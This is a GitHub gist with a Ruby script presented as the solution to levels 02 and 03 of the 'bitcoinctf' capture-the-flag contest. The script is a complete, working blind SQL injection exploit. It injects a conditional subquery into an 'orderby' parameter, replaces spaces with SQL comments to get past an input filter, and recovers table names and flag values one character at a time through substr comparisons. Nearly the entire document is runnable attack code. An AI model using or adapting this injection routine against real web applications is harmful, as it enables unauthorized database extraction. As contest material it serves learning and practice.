Skip to content

Instantly share code, notes, and snippets.

@firefart
Created May 4, 2013 17:59
Show Gist options
  • Save firefart/5518236 to your computer and use it in GitHub Desktop.
Save firefart/5518236 to your computer and use it in GitHub Desktop.
Solution for level02 and level03 for bitcoinctf
#!/usr/bin/env ruby
require 'net/http'
require 'uri'
def make_request(url, payload)
uri = URI.parse("http://www.bitcoinctf.com#{url}")
params = {
:orderby => "1, (select case when (#{payload}) then 1 else 1*(select table_name from information_schema.tables)end)=1",
:limit => '1'
}
# replace spaces by comments. This is needed for level03
params[:orderby] = params[:orderby].gsub(/\s/, '/**/')
#puts params[:orderby]
uri.query = URI.encode_www_form( params )
Net::HTTP.get(uri)
end
def loop(url, select)
value = ''
counter = 1
complete = false
until complete
found_letter = false
(33..126).each { |ascii|
letter = ascii.chr
#puts letter
payload = "substr((#{select}),#{counter},1)='#{letter}'"
resp = make_request(url, payload)
unless resp == 'Unknown error'
#puts "Found #{letter}"
value << letter
counter = counter + 1
found_letter = true
break
end
}
complete = true if !found_letter
end
value.strip.downcase
end
############
# LEVEL 02 #
############
puts 'Exploiting level02....'
level02_url = '/b00kmarks.php'
puts 'Getting table name...'
table_sql = "SELECT table_name FROM information_schema.tables WHERE table_schema<>'information_schema' AND table_schema<>'mysql'"
table_name = loop(level02_url, table_sql)
puts "Table Name: #{table_name}"
puts 'Getting flag for level02...'
select = "select trim(url) from #{table_name} where deleted=1"
value = loop(level02_url, select)
puts "Value: #{value}"
############
# LEVEL 03 #
############
puts 'Exploiting level03....'
level03_url = value
puts 'Getting flag for level03...'
select = "select trim(url) from #{table_name} where deleted=1"
value = loop(level03_url, select)
puts "Value: #{value}"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment